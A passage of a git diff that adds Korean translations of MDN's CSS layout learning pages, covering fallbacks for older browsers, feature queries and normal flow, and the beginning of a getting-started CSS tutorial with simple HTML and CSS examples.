+<h2 id="지원하는_것과_모양이_똑같다는_말은_다르다">지원하는 것과 '모양이 똑같다'는 말은 다르다</h2>
+
+<p>일부 사용자는 휴대 전화로 사이트를 보고 다른 사용자는 대형 데스크톱 화면에서 사이트를 보고 있기 때문에 모든 브라우저에서 웹 사이트가 동일하게 보이지 않을 수 있습니다. 마찬가지로 일부 사용자는 이전 브라우저 버전을 갖고 있고 다른 사용자에게는 최신 브라우저를 갖고 있습니다. 일부 사용자는 화면 읽기 프로그램을 사용해 내용을 읽거나 페이지를 확대하여 읽을 수도 있습니다. 모든 사람을 지원한다는 것은 방어적으로 디자인된 콘텐츠 버전을 제공하여 최신 브라우저에서는 사이트 외관이 뛰어나지만, 이전 브라우저 사용자에게는 기본 수준으로 계속 사용할 수 있음을 의미합니다.</p>
+
+<p>기본적인 지원 수준이란 페이지의 일반적인 흐름이 이해되도록 콘텐츠를 잘 구성하는 것에서 출발합니다. 기능이 매우 제한적인 전화기 사용자는 많은 CSS를 얻을 수 없지만, 콘텐츠는 쉽게 읽을 수 있는 방식으로 나열됩니다. 따라서 항상 잘 구성된 HTML 문서에서 출발해야 합니다. 여러분의 스타일 시트를 제거했을 때, 컨텐츠가 여전히 잘 이해되나요?</p>
+
+<p>한 가지 옵션은 아주 오래된 브라우저나 제한된 브라우저를 사용하는 사람들이 찾을 수 있는 대체 페이지로 사이트 외관을 단순화하는 것입니다. 문제가 되는 해당 브라우저를 사용해 소수의 사람들이 사이트를 방문하는 경우 최신 브라우저 사용자들과 비슷한 체험을 그들에게 제공하기 위해 시간을 쏟는 것이 상업적으로 맞지 않을 겁니다. 사이트의 접근성을 높이고 더 많은 사용자에게 서비스를 제공하는 일에 시간을 투자하는 것이 더 좋을 겁니다. 평범한 HTML 페이지와 온갖 장신구가 포함된 페이지 사이에는 중간 지점이 있으며 CSS는 실제로 이러한 대체 페이지를 매우 간단하게 생성해 줍니다.</p>
+
+<h2 id="CSS로_대체_페이지_생성하기">CSS로 대체 페이지 생성하기</h2>
+
+<p>CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용될 때 브라우저가 수행하는 작업을 설명하는 정보가 포함되어 있습니다. 즉, 부동체 항목이 한편으로는 CSS grid 레이아웃을 사용하는 grid 항목인 경우 발생하는 상황에 대한 정의가 있음을 의미합니다. 이 정보가 브라우저가 이해하지 못하는 CSS를 무시한다는 지식과 결합되어, 이미 다루었던 <a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 기술</a>을 사용하여 간단한 레이아웃을 생성할 수 있는 방법이 있습니다. 그런 다음 이를 최신 브라우저에서는 grid 레이아웃으로 덮어씁니다.</p>
+
+<p>아래 예에서는 세 개의 <code>&lt;div&gt;</code> 부동체를 행으로 표시했습니다. <a href="/ko/docs/Learn/CSS/CSS_layout/Grids">CSS grid 레이아웃</a>을 지원하지 않는 브라우저는 상자 행을 <ruby><em>부동 레이아웃</em><rp> (</rp><rt>浮動 組版</rt><rp>) </rp></ruby>으로 간주합니다. grid 항목이 되는 부동 항목은 부동 동작을 상실합니다. 즉, <code>.wrapper</code> 클레스를 grid 컨테이너로 전환하면 부동 항목이 grid 항목이 됩니다. 브라우저가 grid 레이아웃을 지원하는 경우 grid 디스플레이를 표시합니다. 지원하지 않으면 <code>display: grid</code> 관련 속성은 무시되고 부동 레이아웃이 사용됩니다.</p>
+
+<div id="예제1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;항목 하나&lt;/div&gt;
+  &lt;div class="item"&gt;항목 둘&lt;/div&gt;
+  &lt;div class="item"&gt;항목 셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제1', '100%', '200') }}</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: {{cssxref("clear")}} 속성도 마찬가지로 정리된 항목이 grid가 되자마자 효력을 상실합니다. 따라서 정리된 footer가 딸린 레이아웃을 가질 수 있으며, 이 레이아웃이 grid 레이아웃으로 전환됩니다.</p>
+</div>
+
+<h3 id="대체_메서드">대체 메서드</h3>
+
+<p>이 부동 예제와 비슷한 방식으로 사용할 수있는 여러 레이아웃 메서드가 있습니다. 당신이 생성해야하는 레이아웃 패턴에 가장 적합한 것을 선택할 수 있습니다.</p>
+
+<dl>
+ <dd>Float(부동) 및 <strong>clear</strong></dd>
+ <dd>위에서 볼 수 있듯이, 부동 또는 정리 속성이 레이아웃에 미치는 효과는 부동되거나 정리된 항목이 flex 또는 grid 항목이 되면 중단됩니다.</dd>
+ <dt>display: inline-block</dt>
+ <dd>이 방법을 사용하여 열 레이아웃을 생성할 수 있는 경우는 항목이 <code>display: inline-block</code>로 설정되었을 경우이지만, flex 또는 grid 항목이 된다면 인라인 블록 동작은 무시됩니다.</dd>
+ <dt>display: table</dt>
+ <dd>CSS 테이블을 생성하는 메서드는 해당 단원의 <a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">입문서</a>가 대체품으로 활용될 수 있습니다. CSS 테이블 레이아웃으로 설정된 항목은 그들이 flex 또는 grid 항목이 될 경우 자기 동작을 상실하게 됩니다. 중요하게는 테이블 구조를 수정하기 위해 생성된 익명 상자는 생성되지 않습니다.</dd>
+ <dt>다단 레이아웃</dt>
+ <dd>특정 레이아웃의 경우 당신은 <a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단</a>을 대체품로 사용할 수 있습니다. 여러분의 콘테이너가 <code>column-*</code> 속성에 속한 것으로 정의되었다면 grid 컨테이너가 될 것이고, 다단 동작은 발생하지 않습니다.</dd>
+ <dt>grid 대체품 역할인 Flexbox</dt>
+ <dd><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>는 인터넷 익스플로러 10과 11이 지원하기 때문에 grid를 지원하는 브라우저가 훨씬 많이 있습니다. 다만 이 단원의 뒷부분에서 설명하고 있는 구형 브라우저에서 flex를 지원하기 위한 처리 방법에 대해서도 확인해보세요. flex 컨테이너를 grid 컨테이너로 만들면 자식에 적용된 모든 <ruby><code>flex</code><rp> (</rp><rp>) </rp></ruby> 속성은 무시됩니다.</dd>
+</dl>
+
+<p>구형 브라우저에서 레이아웃 조정이 많이 필요한 경우 CSS를 이런 식으로 사용하면 괜찮은 경험을 할 수 있습니다. 오래되고 잘 지원되는 기술을 기반으로 간단한 레이아웃을 추가한 다음 최신 CSS를 사용하여 잠재 고객의 90% 이상이 볼 수있는 레이아웃을 만듭니다. 그러나 대체 코드에 새 브라우저가 해석할 내용이 포함되어야하는 경우가 있습니다. 이에 대한 좋은 예는 부동 항목에 백분율 너비를 추가하여 열을 마치 grid 디스플레이처럼 보이도록 컨테이너를 채울 수 있도록 (너비를) 늘리는 경우입니다.</p>
+
+<p>부동 레이아웃에서 백분율은 컨테이너를 기준으로 계산됩니다. 33.333%는 컨테이너 너비의 3 분의 1입니다. 그러나 grid에서는 항목이 배치된 grid 영역을 기준으로 33.333%가 계산되므로 grid 레이아웃이 도입되면 실제로 원하는 크기의 3분의 1이 됩니다.</p>
+
+<div id="예제2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;항목 하나&lt;/div&gt;
+  &lt;div class="item"&gt;항목 둘&lt;/div&gt;
+  &lt;div class="item"&gt;항목 셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제2', '100%', '200') }}</p>
+</div>
+
+<p>이 문제를 해결하려면 grid가 지원되는지 여부와 너비가 재정의되는지 여부를 감지할 수있는 방법이 필요합니다. CSS가 우리를 위해 마련한 해결책은 이렇습니다.</p>
+
+<h2 id="Feature_queries">Feature queries</h2>
+
+<p>feature queries를 사용하면 브라우저가 특정 CSS 기능을 지원하는지 테스트 할 수 있습니다. 즉, 특정 기능을 지원하지 않는 브라우저 용 CSS를 작성한 다음 브라우저가 지원되는지 여부와 멋진 레이아웃을 제공하는지 확인하십시오.</p>
+
+<p>위의 예제에 feature query를 추가하면 grid가 지원됨을 알고 있는 경우 이 feature query를 사용하여 항목 너비를 <ruby><code>auto</code><rp> (</rp><rp>) </rp></ruby>으로 다시 설정할 수 있습니다.</p>
+
+<div id="예제3">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+@supports (display: grid) {
+  .item {
+      width: auto;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;항목 하나&lt;/div&gt;
+  &lt;div class="item"&gt;항목 둘&lt;/div&gt;
+  &lt;div class="item"&gt;항목 셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제3', '100%', '200') }}</p>
+</div>
+
+<p>feature query에 대한 지원은 최신 브라우저에서 매우 유용하지만 CSS grid를 지원하지 않는 브라우저는 feature query도 지원하지 않는다는 점에 유의해야합니다. 이는 위에서 설명한 접근 방식이 해당 브라우저에서 작동한다는 것을 의미합니다. 우리가 하는 작업은 feature query를 차치하고 먼저 이전 CSS를 작성하는 것입니다. grid를 지원하지 않고 feature query를 지원하지 않는 브라우저는 자기가 이해할 수 있는 레이아웃 정보를 이용하고 그밖에 다른 것들은 완전히 무시할 수 있습니다. feature query를 지원하는 브라우저는 CSS grid도 지원하므로 grid 코드 및 feature query 내부의 코드를 실행합니다.</p>
+
+<p>feature query 규격에는 브라우저가 기능을 지원하지 않는지 테스트하는 기능도 포함되어 있습니다. 이는 브라우저가 feature query를 지원하는 경우에만 유용합니다. feature query를 지원하지 않는 브라우저가 갈수록 사라짐에 따라 미래에는 지원 부족 여부를 확인하는 방법은 작동하게 됩니다. 그러나 지금은 최상의 지원을 위해 이전 CSS를 사용한 다음 덮어 쓰는 방식을 사용하십시오.</p>
+
+<h2 id="Flexbox_예전_버전">Flexbox 예전 버전</h2>
+
+<p>이전 버전의 브라우저에서는 이전의 Flexbox 명세가 반복되는 것을 여러분은 발견할 수 있습니다. 글을 쓰는 시점에서 이것은 Flexbox에 <code>-ms-</code> 접두사를 사용하는 인터넷 익스플로러 10의 문제입니다. 이는 또한 오래된 문서와 자습서가 있음을 의미합니다. 이 유용한 <a href="https://css-tricks.com/old-flexbox-and-new-flexbox/">안내서</a>는 보고있는 내용을 확인하는 데 도움이되고 매우 오래된 브라우저에서 flex 지원이 필요한 경우에도 도움이 될 수 있습니다.</p>
+
+<h2 id="인터넷_익스플로러_10과_11_접두사_버전">인터넷 익스플로러 10과 11 접두사 버전</h2>
+
+<p>CSS grid 규격은 인터넷 익스플로러 10에서 처음 나온 원형이었습니다. 즉, 인터넷 익스플로러 10 및 11에는 최신 grid 지원이 없지만, 이 사이트에 문서화된 최신 규격과는 다르나 매우 유용한 그리드 레이아웃 버전이 있습니다. 인터넷 익스플로러 10 및 11 구현은 <code>-ms-</code> 접두사를 사용해 해당 그리드를 마이크로소프트 브라우저에 사용할 수 있으며 이외의 브라우저에서는 무시됩니다. 에지 브라우저는 여전히 이전 구문을 이해하므로 현대 그리드 CSS에서 모든 항목을 안전하게 덮어씁니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">그리드 레이아웃의 점진적 향상</a>에 대한 안내서는 그리드의 인터넷 익스플로러 버전을 이해하는 데 도움이되며 이 단원 끝에는 별도의 유용한 링크를 포함하고 있습니다. 그러나 이전 인터넷 익스플로러 버전 사용자의 방문자 수가 매우 많지 않다면 모든 비지원 브라우저에서 작동하는 대체품을 만드는 것이 더 좋습니다.</p>
+
+<h2 id="이전_브라우저_여부_확인">이전 브라우저 여부 확인</h2>
+
+<p>Flexbox 및 그리드를 지원하는 대부분의 브라우저를 사용하면 구형 브라우저를 테스트하기가 상당히 어려울 수 있습니다. 한 가지 방법은 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">크로스 브라우저 테스트</a> 단위에 설명 된대로 Sauce<em> Labs</em>과 같은 온라인 테스트 도구를 사용하는 것입니다.</p>
+
+<p>또한 가상 컴퓨터를 다운로드하여 설치한 뒤 제약이 걸린 본인의 컴퓨터 환경에서 이전 버전의 브라우저를 실행할 수 있습니다. 이전 버전의 인터넷 익스플로러에 액세스하는 것이 특히 유용하며 이를 위해 마이크로소프트는 <a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">다양한 가상 컴퓨터를 무료로 다운로드</a> 할 수 있도록 만들었습니다. 맥, 윈도우즈 및 리눅스 운영 체제에서 가상 컴퓨터를 사용할 수 있으므로 윈도우즈 컴퓨터를 사용하지 않더라도 이전 및 최신 윈도우즈 브라우저에서 테스트할 수있는 좋은 방법입니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>여러분은 이제 그리드 및 Flexbox와 같은 기술을 자신있게 사용하고, 이전 브라우저를 위한 대체품을 만들고, 향후 발생할 수 있는 새로운 기술을 활용할 수 있는 지식을 얻었습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">CSS feature query 사용하기</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Flexbox의 이전 버전과의 호환성</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS 레이아웃과 점진적 향상</a></li>
+ <li><a href="https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/">CSS 그리드 사용하기: 그리드 없는 브라우저 지원하기</a></li>
+ <li><a href="https://24ways.org/2012/css3-grid-layout/">인터넷 익스플로러 10 및 11 버전 그리드 사용을 위한 자습서</a></li>
+ <li><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">인터넷 익스플로러 10 용 그리드 레이아웃 구현을 사용해야 하나요</a>?</li>
+ <li><a href="https://24ways.org/2017/cascading-web-design/">feature query가 포함된 중첩된 웹 디자인</a></li>
+ <li><a href="https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/">feature query 사용하기 (동영상)</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">Normal Flow</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">그리드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li>레이아웃 이해도 필수 평가</li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/일반_흐름/index.html b/files/ko/learn/css/css_layout/일반_흐름/index.html
new file mode 100644
index 0000000000..43b4366c0e
--- /dev/null
+++ b/files/ko/learn/css/css_layout/일반_흐름/index.html
@@ -0,0 +1,102 @@
+---
+title: 일반 대열
+slug: Learn/CSS/CSS_layout/일반_흐름
+tags:
+  - 격자형
+  - 부동
+  - 씨에스에스
+  - 일반 대열
+  - 조판
+  - 초보자
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Normal_Flow
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">이번 글에서는 normal flow, 다른 말로 만일 당신이 요소의 레이아웃을 변경하지 않을 시 웹페이지 요소가 자기 자신을 배치하는 방법에 관해 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML에 대한 소개</a>)와 CSS 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>변경이 이뤄지기 전에 브라우저가 웹 페이지를 기본값으로 레이아웃하는 방법을 설명하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이전 단원에서 상세히 기술한 바와 같이, 당신이 CSS를 적용하지 않을 경우 웹 페이지의 요소는 normal flow로 배치됩니다. 그리고 normal flow에 포함된 요소의 위치를 조정하거나 요소를 완전히 제거함으로써 요소가 동작하는 방법을 변경할 수 있습니다. 모든 웹 페이지를 시작하는 최상의 방법은 normal flow에서 읽기 가능하며, 견고하고 구조화된 문서로 시작하는 것입니다. 이렇게 하면 제한된 기능을 가진 브라우저를 사용하거나 페이지 콘텐츠를 소리 내 읽는 스크린 리더와 같은 장치를 사용하는 사용자들까지 읽을 수 있는(readable) 콘텐츠로 만들 수 있습니다. 또한, normal flow는 읽기 가능한 문서를 만들도록 마련된 것으로, 이를 출발점으로 삼아 레이아웃을 변경할 때 웹페이지 문서와 대립해 싸울 게 아니라 그것과 협력해서 작업하게 됩니다.</p>
+
+<p>서로 다른 레이아웃 메서드를 본격적으로 파헤치기 전에 일반 문서 흐름과 관련하여 이전 모듈에서 학습했던 내용 중의 일부를 복습하는 것도 가치가 있습니다.</p>
+
+<h2 id="기본값으로_요소들은_어떻게_배치되는가">기본값으로 요소들은 어떻게 배치되는가?</h2>
+
+<p>우선 개별 요소인 상자의 배치는 자신의 내용물을 채택하고, 그 주변에 패딩을 더하고, 테두리와 여백을 더하는 식으로 이뤄집니다. 다시 말해 앞서 살펴보았던 박스 모델과 같습니다.</p>
+
+<p>기본값으로 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 수준 요소</a>의 내용물은 자기 부모 요소의 너비 100%와 자체 내용물의 최대 높이가 됩니다. <a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a>는 자체 내용물의 최대 높이를 취하는 동시에 최대 너비를 취합니다. 인라인 요소에 너비나 높이를 설정할 수는 없습니다. 그들은 블록 수준 요소의 콘텐츠 내부에 들어앉았을 뿐입니다. 인라인 요소의 크기를 제어하려면 그것을 <code>display: block;</code> 속성값이나 양쪽의 성격이 혼합된 <code>display: inline-block;</code>을 가지고 블록 수준 요소처럼 행동하도록 설정할 필요가 있습니다.</p>
+
+<p>앞서 살펴본 내용에서 개별 요소는 설명되지만, 여러 요소가 서로 상호 작용하는 방법은 어떻게 설명할까요? (레이아웃 입문서에서 언급했던) 일반 레이아웃의 flow는 브라우저의 뷰포트 안에 요소를 배치하는 시스템입니다. 기본값으로 블록 수준 요소의 배치는 부모의 <a href="/ko/docs/Web/CSS/writing-mode">쓰기 모드</a>(<em>initial</em>: horizontal-tb)에 기초해 <em>블록 flow 방향</em>에 포함되어 이뤄집니다. 다시 말해 각 블록 요소는 마지막 요소 아래 새 줄에 나타나며, 각 요소에 주어진 margin에 의해 구분됩니다. 그러므로 영어 또는 여타 가로쓰기, 상단에서 하단으로 행갈이 하는 쓰기 모드와 블록 수준 요소는 수직으로 배치됩니다.</p>
+
+<p>인라인 요소는 다르게 동작합니다. 새로운 줄에 나타나는 대신, 다른 요소와 같은 라인에 차례로 자리 잡습니다. 다만 인접(혹은 접힌) 텍스트 콘텐츠는 해당 부모의 블록 수준 요소의 너비 내에서 자신이 자리를 잡을 수 있는 공간이 있는 경우가 해당합니다. 충분한 공간이 없을 경우 overflow되는 텍스트 또는 요소는 새로운 줄에 나타납니다.</p>
+
+<p>두 개의 인접 요소가 모두 자체 여백이 지정되어 있다면 두 여백은 접촉하고 그중 큰 여백만 남게 되며, 작은 여백은 사라집니다. 이를 마진 축소(margin collapsing)라고 하며 이전에 확인해본 적이 있습니다.</p>
+
+<p>이 모든 것을 설명하는 간단한 예를 살펴봅시다.</p>
+
+<div id="일반_대열">
+<pre class="brush: html">&lt;h1&gt;기본 문서 flow&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p&gt;기본값으로 우리는 우리 부모 요소의 너비 100%를 넘나들며, 우리 자녀 콘텐츠의 최대 높이를 취합니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 오버플로할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: rgba(255,84,104,0.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: white;
+  border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('일반_flow', '100%', 500) }}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이제 당신은 normal flow은 물론, 기본값으로 브라우저가 어떤 방식으로 사물을 배치하는지 이해했습니다. 당신의 디자인 필요에 따라 레이아웃을 만들기 위해 디스플레이 기본값을 변경하는 방법을 배우려면 다음 단계로 이동하세요.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 입문서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%BC%EB%B0%98_%ED%9D%90%EB%A6%84">normal flow</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">격자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9C%84%EC%B9%98%EC%9E%A1%EA%B8%B0">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EB%B0%98%EC%9D%91%ED%98%95_%EB%94%94%EC%9E%90%EC%9D%B8">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li>필수 레이아웃 이해도 평가</li>
+</ul>
diff --git a/files/ko/learn/css/first_steps/getting_started/index.html b/files/ko/learn/css/first_steps/getting_started/index.html
new file mode 100644
index 0000000000..431e4bca1a
--- /dev/null
+++ b/files/ko/learn/css/first_steps/getting_started/index.html
@@ -0,0 +1,253 @@
+---
+title: CSS 로 시작하기
+slug: Learn/CSS/First_steps/Getting_started
+translation_of: Learn/CSS/First_steps/Getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary">이 기사에서는 간단한 HTML 문서를 가져와서 CSS 를 적용하여 언어에 대한 실질적인 내용을 학습합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식 및 HTML 기본 지식 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 문서를 HTML 파일에 연결하는 기본 사항을 이해하고, CSS를 사용하여 간단한 텍스트 형식을 지정하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML_로_시작합니다">HTML 로 시작합니다</h2>
+
+<p>시작점은 HTML 문서입니다. 자신의 컴퓨터에서 작업하려는 경우에는 아래에서 코드를 복사할 수 있습니다. 아래 코드를 컴퓨터의 폴더에 <code>index.html</code> 로 저장하십시오.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html lang="ko-KR"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;CSS로 시작하기&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+    &lt;h1&gt;레벨 1 제목입니다&lt;/h1&gt;
+
+    &lt;p&gt;이것은 단락입니다. 본문에는 &lt;span&gt;span 요소&lt;/span&gt;와 &lt;a href="http://example.com"&gt;링크&lt;/a&gt;가 있습니다.&lt;/p&gt;
+
+    &lt;p&gt;이것은 두 번째 단락입니다. &lt;em&gt;강조된&lt;/em&gt; 요소를 포함합니다.&lt;/p&gt;
+
+    &lt;ul&gt;
+        &lt;li&gt;항목 하나&lt;/li&gt;
+        &lt;li&gt;항목 둘&lt;/li&gt;
+        &lt;li&gt;항목 &lt;em&gt;셋&lt;/em&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 파일을 쉽게 만들 수 없는 장치나 환경에서 이 내용을 읽는 경우, 걱정하지 마십시오 — 페이지의 바로 여기에 예제 코드를 작성할 수 있도록 라이브 코드 편집기가 제공됩니다.</p>
+</div>
+
+<h2 id="문서에_CSS_추가하기">문서에 CSS 추가하기</h2>
+
+<p>가장 먼저 해야할 일은 HTML 문서에 사용하려는 CSS 규칙이 있다는 것을 알리는 것입니다. CSS 를 HTML 문서에 적용하는 방법에는 세 가지가 있지만, 지금은 문서의 head 에서 연결하는 가장 일반적이고 유용한 방법을 살펴 보겠습니다.</p>
+
+<p>HTML 문서와 같은 폴더에 파일을 만들고 <code>styles.css</code> 로 저장하십시오. <code>.css</code> 확장자는 이것이 CSS 파일임을 보여줍니다.</p>
+
+<p><code>styles.css</code> 파일을 <code>index.html</code> 에 링크하려면, HTML 문서의 {{htmlelement("head")}} 안에 다음 행을 추가하십시오:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" href="styles.css"&gt;</pre>
+
+<p>이  {{htmlelement("link")}} 요소는 <code>rel</code> 속성을 사용하는 스타일 시트와 해당 스타일 시트의 위치를 <code>href</code> 속성의 값으로 브라우저에게 알려줍니다. <code>styles.css</code> 에 규칙을 추가하여 CSS 가 작동하는지 테스트 할 수 있습니다. 코드 편집기를 사용하여 CSS 파일에 다음을 추가하십시오:</p>
+
+<pre class="brush: css">h1 {
+  color: red;
+}</pre>
+
